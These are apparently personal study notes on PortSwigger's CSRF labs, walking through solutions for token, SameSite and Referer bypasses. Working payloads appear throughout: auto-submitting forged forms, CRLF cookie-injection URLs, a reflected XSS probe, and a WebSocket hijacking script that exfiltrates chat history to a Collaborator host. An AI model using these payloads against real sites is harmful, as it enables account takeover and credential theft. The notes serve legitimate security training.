Portswigger CSRF Lab Notes

1. CSRF vulnerability with no defenses

This lab's email change functionality is vulnerable to CSRF. (**No CSRF defenses** are implemented: No CSRF token, No SameSite cookie protection, No Referer/Origin checks. This means if a logged-in victim loads any attacker-controlled HTML, their browser will send the session cookie along with the forged POST.)

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

**Hint**

You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.

Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. If you're using Burp Suite Professional, right-click on the request and select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click "Regenerate".

Alternatively, if you're using Burp Suite Community Edition, use the following HTML template. You can get the request URL by right-clicking and selecting "Copy URL".

***<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">***

***<input type="hidden" name="email" value="anything%40web-security-academy.net">***

***</form>***

***<script>***

***document.forms[0].submit();***

***</script>***

1. Go to the exploit server, paste your exploit HTML into the "Body" section, and click "Store".
2. To verify that the exploit works, try it on yourself by clicking "View exploit" and then check the resulting HTTP request and response.
3. Change the email address in your exploit so that it doesn't match your own.
4. Click "Deliver to victim" to solve the lab.

* When the victim visits the attacker’s page, the form auto-submits.
* Their browser sends the POST (with their **session cookie**).
* The server accepts it because it looks identical to a real request.
* Victim’s email is silently changed to the attacker’s chosen address.

1. CSRF where token validation depends on request method

This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater and observe that if you change the value of the csrf parameter then the request is rejected.
3. Use "Change request method" on the context menu to convert it into a GET request and observe that the CSRF token is no longer verified.
4. If you're using Burp Suite Professional, right-click on the request, and from the context menu select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click "Regenerate".

Alternatively, if you're using Burp Suite Community Edition, use the following HTML template. You can get the request URL by right-clicking and selecting "Copy URL".

***<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">***

***<input type="hidden" name="email" value="anything%40web-security-academy.net">***

***</form>***

***<script>***

***document.forms[0].submit();***

***</script>***

1. Go to the exploit server, paste your exploit HTML into the "Body" section, and click "Store".
2. To verify if the exploit will work, try it on yourself by clicking "View exploit" and checking the resulting HTTP request and response.
3. Change the email address in your exploit so that it doesn't match your own.
4. Store the exploit, then click "Deliver to victim" to solve the lab.

3. CSRF where token validation depends on token being present

This lab's email change functionality is vulnerable to CSRF.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater and observe that if you change the value of the csrf parameter then the request is rejected.
3. Delete the csrf parameter entirely and observe that the request is now accepted.
4. If you're using Burp Suite Professional, right-click on the request, and from the context menu select Engagement tools / Generate CSRF PoC. Enable the option to include an auto-submit script and click "Regenerate".

Alternatively, if you're using Burp Suite Community Edition, use the following HTML template. You can get the request URL by right-clicking and selecting "Copy URL".

***<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">***

***<input type="hidden" name="$param1name" value="$param1value">***

***</form>***

***<script>***

***document.forms[0].submit();***

***</script>***

1. Go to the exploit server, paste your exploit HTML into the "Body" section, and click "Store".
2. To verify if the exploit will work, try it on yourself by clicking "View exploit" and checking the resulting HTTP request and response.
3. Change the email address in your exploit so that it doesn't match your own.
4. Store the exploit, then click "Deliver to victim" to solve the lab.
5. CSRF where token is not tied to user session

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

* wiener:peter
* carlos:montoya

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and intercept the resulting request.
2. Make a note of the value of the CSRF token, then drop the request.
3. Open a private/incognito browser window, log in to your other account, and send the update email request into Burp Repeater.
4. Observe that if you swap the CSRF token with the value from the other account, then the request is accepted.
5. Create and host a proof of concept exploit as described in the solution to the [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) lab. Note that the CSRF tokens are single-use, so you'll need to include a fresh one.
6. Change the email address in your exploit so that it doesn't match your own.
7. Store the exploit, then click "Deliver to victim" to solve the lab.
8. CSRF where token is tied to non-session cookie

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.

(The app tries to prevent CSRF by using the **double-submit technique**:

* When you submit the **Change Email** form, the request includes:
  + A **cookie**: csrf=<value> (automatically sent by the browser).
  + A **form/body parameter**: csrf=<value> (hidden field in the form).
* The server just **compares the two values**. If they match, the request is accepted.
* Importantly:
  + There’s no binding to the session.
  + The server doesn’t care what the value actually is — just that the cookie and parameter match)

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

* wiener:peter
* carlos:montoya

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater and observe that changing the session cookie logs you out, but changing the csrfKey cookie merely results in the CSRF token being rejected. This suggests that the csrfKey cookie may not be strictly tied to the session.
3. Open a private/incognito browser window, log in to your other account, and send a fresh update email request into Burp Repeater.
4. Observe that if you swap the csrfKey cookie and csrf parameter from the first account to the second account, the request is accepted.
5. Close the Repeater tab and incognito browser.
6. Back in the original browser, perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user's browser.
7. Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim's browser:

***/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None***

1. Create and host a proof of concept exploit as described in the solution to the [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) lab, ensuring that you include your CSRF token. The exploit should be created from the email change request.
2. Remove the auto-submit <script> block, and instead add the following code to inject the cookie:

***<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">***

<imgsrc="https://YOUR-LAB-ID.web-security-academy.net/?search=test

Set-Cookie: csrfKey=YOUR-KEY; SameSite=None"onerror="document.forms[0].submit()">

1. Change the email address in your exploit so that it doesn't match your own.
2. Store the exploit, then click "Deliver to victim" to solve the lab.

1. CSRF where token is duplicated in cookie

This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater and observe that the value of the csrf body parameter is simply being validated by comparing it with the csrf cookie.
3. Perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user's browser.
4. Create a URL that uses this vulnerability to inject a fake csrf cookie into the victim's browser:

***/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None***

/?search=test

Set-Cookie: csrf=fake; SameSite=None

1. Create and host a proof of concept exploit as described in the solution to the [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) lab, ensuring that your CSRF token is set to "fake". The exploit should be created from the email change request.
2. Remove the auto-submit <script> block and instead add the following code to inject the cookie and submit the form:

***<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>***

<imgsrc="https://YOUR-LAB-ID.web-security-academy.net/?search=test

Set-Cookie: csrf=fake; SameSite=None"onerror="document.forms[0].submit();"/>

1. Change the email address in your exploit so that it doesn't match your own.
2. Store the exploit, then click "Deliver to victim" to solve the lab.

* In our malicious form (the CSRF PoC), we just need to **supply the same value** for the form field:
* <input type="hidden" name="csrf" value="fake">
* Now when the victim loads our exploit:
  + Their browser sends Cookie: csrf=fake.
  + The form also submits csrf=fake.
  + Server checks: “cookie value == form value?” → ✅ Yes.
  + Request is accepted, email gets changed.

1. SameSite Lax bypass via method override

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

**Note**

The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp's built-in Chromium browser) to test your exploit.

 Solution

**Study the change email function**

1. In Burp's browser, log in to your own account and change your email address.
2. In Burp, go to the **Proxy > HTTP history** tab.
3. Study the POST /my-account/change-email request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass the SameSite cookie restrictions.
4. Look at the response to your POST /login request. Notice that the website doesn't explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default Lax restriction level.
5. Recognize that this means the session cookie will be sent in cross-site GET requests, as long as they involve a top-level navigation.

**Bypass the SameSite restrictions**

1. Send the POST /my-account/change-email request to Burp Repeater.
2. In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent GET request.
3. Send the request. Observe that the endpoint only allows POST requests.
4. Try overriding the method by adding the \_method parameter to the query string:

***GET /my-account/change-email?email=foo%40web-security-academy.net&\_method=POST HTTP/1.1***

1. Send the request. Observe that this seems to have been accepted by the server.
2. In the browser, go to your account page and confirm that your email address has changed.

**Craft an exploit**

1. In the browser, go to the exploit server.
2. In the **Body** section, create an HTML/JavaScript payload that induces the viewer's browser to issue the malicious GET request. Remember that this must cause a top-level navigation in order for the session cookie to be included. The following is one possible approach:

***<script>***

***document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&\_method=POST";***

***</script>***

1. Store and view the exploit yourself. Confirm that this has successfully changed your email address on the target site.
2. Change the email address in your exploit so that it doesn't match your own.
3. Deliver the exploit to the victim to solve the lab.
4. SameSite Strict bypass via client-side redirect

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

 Solution

**Study the change email function**

1. In Burp's browser, log in to your own account and change your email address.
2. In Burp, go to the **Proxy > HTTP history** tab.
3. Study the POST /my-account/change-email request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.
4. Look at the response to your POST /login request. Notice that the website explicitly specifies SameSite=Strict when setting session cookies. This prevents the browser from including these cookies in cross-site requests. (Cookies aren’t sent on cross-site requests. BUT: if you can force the victim’s browser to first visit the target site and then perform a same-site redirect, the cookie *will* be included.)

**Identify a suitable gadget**

1. In the browser, go to one of the blog posts and post an arbitrary comment. Observe that you're initially sent to a confirmation page at /post/comment/confirmation?postId=x but, after a few seconds, you're taken back to the blog post.
2. In Burp, go to the proxy history and notice that this redirect is handled client-side using the imported JavaScript file /resources/js/commentConfirmationRedirect.js.
3. Study the JavaScript and notice that this uses the postId query parameter to dynamically construct the path for the client-side redirect.
4. In the proxy history, right-click on the GET /post/comment/confirmation?postId=x request and select **Copy URL**. (The postId parameter is concatenated into the redirect path without validation.)
5. In the browser, visit this URL, but change the postId parameter to an arbitrary string.

***/post/comment/confirmation?postId=foo***

1. Observe that you initially see the post confirmation page before the client-side JavaScript attempts to redirect you to a path containing your injected string, for example, /post/foo.
2. Try injecting a path traversal sequence so that the dynamically constructed redirect URL will point to your account page:

***/post/comment/confirmation?postId=1/../../my-account***

1. Observe that the browser normalizes this URL and successfully takes you to your account page. This confirms that you can use the postId parameter to elicit a GET request for an arbitrary endpoint on the target site.

**Bypass the SameSite restrictions**

1. In the browser, go to the exploit server and create a script that induces the viewer's browser to send the GET request you just tested. The following is one possible approach:

***<script>***

***document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";***

***</script>***

1. Store and view the exploit yourself.
2. Observe that when the client-side redirect takes place, you still end up on your logged-in account page. This confirms that the browser included your authenticated session cookie in the second request, even though the initial comment-submission request was initiated from an arbitrary external site.

**Craft an exploit**

1. Send the POST /my-account/change-email request to Burp Repeater.
2. In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent GET request.
3. Send the request. Observe that the endpoint allows you to change your email address using a GET request.
4. Go back to the exploit server and change the postId parameter in your exploit so that the redirect causes the browser to send the equivalent GET request for changing your email address:

***<script>***

***document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";***

***</script>***

Note that you need to include the submit parameter and URL encode the ampersand delimiter to avoid breaking out of the postId parameter in the initial setup request.

1. Test the exploit on yourself and confirm that you have successfully changed your email address.
2. Change the email address in your exploit so that it doesn't match your own.
3. Deliver the exploit to the victim. After a few seconds, the lab is solved.

✅ Effect

* Victim visits attacker’s exploit server.
* Browser requests /post/comment/confirmation?... → triggers redirect.
* Redirect sends victim to /my-account/change-email?... with their session cookie included.
* Victim’s email changes to attacker’s chosen value.

⚠ Quirks

* Works only because:
  + Change-email accepts GET (bad dev practice).
  + Redirect gadget concatenates postId unsafely.
  + SameSite=Strict doesn’t apply to same-site redirects.
* Attacker must URL-encode the & (%26) to avoid breaking the postId parameter too early.

1. SameSite Strict bypass via sibling domain

This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

If you haven't done so already, we recommend completing our topic on [WebSocket vulnerabilities](https://portswigger.net/web-security/websockets) before attempting this lab.

**Hint**

Make sure you fully audit all of the available attack surface. Keep an eye out for additional vulnerabilities that may help you to deliver your attack, and bear in mind that two domains can be located within the same site.

 Solution

**Study the live chat feature**

1. In Burp's browser, go to the live chat feature and send a few messages.
2. In Burp, go to the **Proxy > HTTP history** tab and find the WebSocket handshake request. This should be the most recent GET /chat request.
3. Notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSWSH if you can bypass any SameSite cookie restrictions.
4. In the browser, refresh the live chat page.
5. In Burp, go to the **Proxy > WebSockets history** tab. Notice that when you refresh the page, the browser sends a READY message to the server. This causes the server to respond with the entire chat history.

**Confirm the CSWSH vulnerability**

1. In Burp, go to the **Collaborator** tab and click **Copy to clipboard**. A new Collaborator payload is saved to your clipboard.
2. In the browser, go to the exploit server and use the following template to create a script for a CSWSH proof of concept:

***<script>***

***var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');***

***ws.onopen = function() {***

***ws.send("READY");***

***};***

***ws.onmessage = function(event) {***

***fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});***

***};***

***</script>***

* This works, but only gives you a new unauthenticated chat session (useless for stealing victim data).
* Reason: No cookies sent, because of SameSite=Strict.

1. Store and view the exploit yourself
2. In Burp, go back to the **Collaborator** tab and click **Poll now**. Observe that you have received an HTTP interaction, which indicates that you've opened a new live chat connection with the target site.
3. Notice that although you've confirmed the CSWSH vulnerability, you've only exfiltrated the chat history for a brand new session, which isn't particularly useful.
4. Go to the **Proxy > HTTP history** tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent GET /chat request.
5. Notice that your session cookie was not sent with the request.
6. In the response, notice that the website explicitly specifies SameSite=Strict when setting session cookies. This prevents the browser from including these cookies in cross-site requests.

**Identify an additional vulnerability in the same "site"**

1. In Burp, study the proxy history and notice that responses to requests for resources like script and image files contain an Access-Control-Allow-Origin header, which reveals a sibling domain at ***cms-YOUR-LAB-ID.web-security-academy.net.***

Same “site” = same registrable domain (\*.web-security-academy.net).

On this CMS domain:

There’s a reflected XSS in login form (username parameter).

Payload like <script>alert(1)</script> works.

Importantly: if you launch an attack from here, it’s same-site, so cookies from YOUR-LAB-ID.web-security-academy.net will be sent.

1. In the browser, visit this new URL to discover an additional login form.
2. Submit some arbitrary login credentials and observe that the username is reflected in the response in the Invalid username message.
3. Try injecting an XSS payload via the username parameter, for example:

***<script>alert(1)</script>***

1. Observe that the alert(1) is called, confirming that this is a viable reflected XSS vector.
2. Send the POST /login request containing the XSS payload to Burp Repeater.
3. In Burp Repeater, right-click on the request and select **Change request method** to convert the method to GET. Confirm that it still receives the same response.
4. Right-click on the request again and select **Copy URL**. Visit this URL in the browser and confirm that you can still trigger the XSS. As this sibling domain is part of the same site, you can use this XSS to launch the CSWSH attack without it being mitigated by SameSite restrictions.

**Bypass the SameSite restrictions**

1. Recreate the CSWSH script that you tested on the exploit server earlier.

***<script>***

***var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');***

***ws.onopen = function() {***

***ws.send("READY");***

***};***

***ws.onmessage = function(event) {***

***fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});***

***};***

***</script>***

1. URL encode the entire script.
2. Go back to the exploit server and create a script that induces the viewer's browser to send the GET request you just tested, but use the URL-encoded CSWSH payload as the username parameter. The following is one possible approach:

***<script>***

***document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";***

***</script>***

1. Store and view the exploit yourself.
2. In Burp, go back to the **Collaborator** tab and click **Poll now**. Observe that you've received a number of new interactions, which contain your entire chat history.
3. Go to the **Proxy > HTTP history** tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent GET /chat request.
4. Confirm that this request does contain your session cookie. As it was initiated from the vulnerable sibling domain, the browser considers this a same-site request.

**Deliver the exploit chain**

1. Go back to the exploit server and deliver the exploit to the victim.
2. In Burp, go back to the **Collaborator** tab and click **Poll now**.
3. Observe that you've received a number of new interactions.
4. Study the HTTP interactions and notice that these contain the victim's chat history.
5. Find a message containing the victim's username and password.
6. Use the newly obtained credentials to log in to the victim's account and the lab is solved.

⚠ Quirks

* SameSite=Strict is bypassed because the attack originates from a sibling domain → browser considers it “same-site”.
* Exploit requires reflected XSS on sibling domain to run JS.
* The CSWSH script had to be URL-encoded so it survives inside the vulnerable username parameter.

📝 Summary

* Behavior: Exploit WebSocket hijack to steal chat history.
* Effect: Get victim’s plaintext credentials from chat logs.
* Bypass: Use reflected XSS on sibling domain → browser includes cookies despite SameSite=Strict.
* Payload chain:
  1. Exploit server →
  2. Load CMS login with XSS (username parameter) →
  3. XSS runs CSWSH payload →
  4. Victim’s cookies sent, chat history exfiltrated.

1. SameSite Lax bypass via cookie refresh

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

Cookies are set with **SameSite=Lax** (Chrome default), which **blocks cross-site POSTs** unless they’re “top-level GET navigations” (e.g. clicking a link).

Problem: a direct CSRF POST from attacker’s site won’t include the victim’s session cookie.

But… the site supports **OAuth login**, and every time you hit /social-login, it refreshes the session cookie.

**Note**

The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp's built-in Chromium browser) to test your exploit.

**Hint**

* You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.
* Browsers block popups from being opened unless they are triggered by a manual user interaction, such as a click. The victim user will click on any page you send them to, so you can create popups using a global event handler as follows:

***<script>***

***window.onclick = () => {***

***window.open('about:blank')***

***}***

***</script>***

 Solution

**Study the change email function**

1. In Burp's browser, log in via your social media account and change your email address.
2. In Burp, go to the **Proxy > HTTP history** tab.
3. Study the POST /my-account/change-email request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.
4. Look at the response to the ***GET /oauth-callback?code=[...]***request at the end of the OAuth flow. Notice that the website doesn't explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default Lax restriction level.

**Attempt a CSRF attack**

In the browser, go to the exploit server.

Use the following template to create a basic CSRF attack for changing the victim's email address:

***<script>***

***history.pushState('', '', '/')***

***</script>***

***<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">***

***<input type="hidden" name="email" value="foo@bar.com" />***

***<input type="submit" value="Submit request" />***

***</form>***

***<script>***

***document.forms[0].submit();***

***</script>***

 Works only if your session cookie is fresh (under ~2 mins old).

 After cookie ages out, Chrome blocks it on cross-site POST.

1. Store and view the exploit yourself. What happens next depends on how much time has elapsed since you logged in:
   * If it has been longer than two minutes, you will be logged in via the OAuth flow, and the attack will fail. In this case, repeat this step immediately.
   * If you logged in less than two minutes ago, the attack is successful and your email address is changed. From the **Proxy > HTTP history** tab, find the POST /my-account/change-email request and confirm that your session cookie was included even though this is a cross-site POST request.

**Bypass the SameSite restrictions**

In the browser, notice that if you visit /social-login, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.

 Visiting /social-login kicks off OAuth, which silently refreshes your session if you’re still logged in at the OAuth provider.

 That **sets a new cookie**, restarting the 2-minute SameSite window.

From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

Go back to the exploit server.

Change the JavaScript so that the attack first refreshes the victim's session by forcing their browser to visit /social-login, then submits the email change request after a short pause. The following is one possible approach:

***<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">***

***<input type="hidden" name="email" value="pwned@web-security-academy.net">***

***</form>***

***<script>***

***window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');***

***setTimeout(changeEmail, 5000);***

***function changeEmail(){***

***document.forms[0].submit();***

***}***

***</script>***

 First opens /social-login → victim’s cookie refreshed.

 After 5 seconds → submit forged email change.

 Problem: Chrome blocks window.open() popups unless the user clicks.

Note that we've opened the /social-login in a new window to avoid navigating away from the exploit before the change email request is sent.

1. Store and view the exploit yourself. Observe that the initial request gets blocked by the browser's popup blocker.
2. Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.

**Bypass the popup blocker**

Realize that the popup is being blocked because you haven't manually interacted with the page.

Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:

***<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">***

***<input type="hidden" name="email" value="pwned@portswigger.net">***

***</form>***

***<p>Click anywhere on the page</p>***

***<script>***

***window.onclick = () => {***

***window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');***

***setTimeout(changeEmail, 5000);***

***}***

***function changeEmail() {***

***document.forms[0].submit();***

***}***

***</script>***

Trick the victim into clicking.

 Victim clicks → popup opens /social-login → cookie refreshed.

 After 5s → CSRF POST runs → new cookie is included → email changed.

1. Test the attack on yourself again while monitoring the proxy history in Burp.
2. When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the POST /my-account/change-email request includes your new session cookie.
3. Go to your account page and confirm that your email address has changed.
4. Change the email address in your exploit so that it doesn't match your own.
5. Deliver the exploit to the victim to solve the lab.

11. CSRF where Referer validation depends on header being present

This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

**Hint**

You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater and observe that if you change the domain in the Referer HTTP header then the request is rejected.
3. Delete the Referer header entirely and observe that the request is now accepted.
4. Create and host a proof of concept exploit as described in the solution to the [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) lab. Include the following HTML to suppress the Referer header:

***<meta name="referrer" content="no-referrer">***

1. Change the email address in your exploit so that it doesn't match your own.
2. Store the exploit, then click "Deliver to victim" to solve the lab.

12.CSRF with broken Referer validation

This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

**Hint**

You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.

 Solution

1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
2. Send the request to Burp Repeater. Observe that if you change the domain in the Referer HTTP header, the request is rejected.
3. Copy the original domain of your lab instance and append it to the Referer header in the form of a query string. The result should look something like this:

***Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net***

1. Send the request and observe that it is now accepted. The website seems to accept any Referer header as long as it contains the expected domain somewhere in the string.

**Confirm the weakness**

* Send a normal request:

Referer: <https://YOUR-LAB-ID.web-security-academy.net/account> → accepted

* Send a request with a fake domain but include your lab domain as a query parameter:

Referer: <https://evil.com?YOUR-LAB-ID.web-security-academy.net> → accepted

1. Create a CSRF proof of concept exploit as described in the solution to the [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) lab and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with your lab instance URL as follows:

***history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")***

This will cause the Referer header in the generated request to contain the URL of the target site in the query string, just like we tested earlier.

Use JavaScript’s history.pushState() to append the target domain into the URL of your exploit:

history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net");

Now when the browser makes the POST, the Referer will look like:

https://evil.com/?YOUR-LAB-ID.web-security-academy.net

→ which passes the server’s broken check.

1. If you store the exploit and test it by clicking "View exploit", you may encounter the "invalid Referer header" error again. This is because many browsers now strip the query string from the Referer header by default as a security measure. To override this behavior and ensure that the full URL is included in the request, go back to the exploit server and add the following header to the "Head" section:

***Referrer-Policy: unsafe-url***

Note that unlike the normal Referer header, the word "referrer" must be spelled correctly in this case.

1. Change the email address in your exploit so that it doesn't match your own.
2. Store the exploit, then click "Deliver to victim" to solve the lab.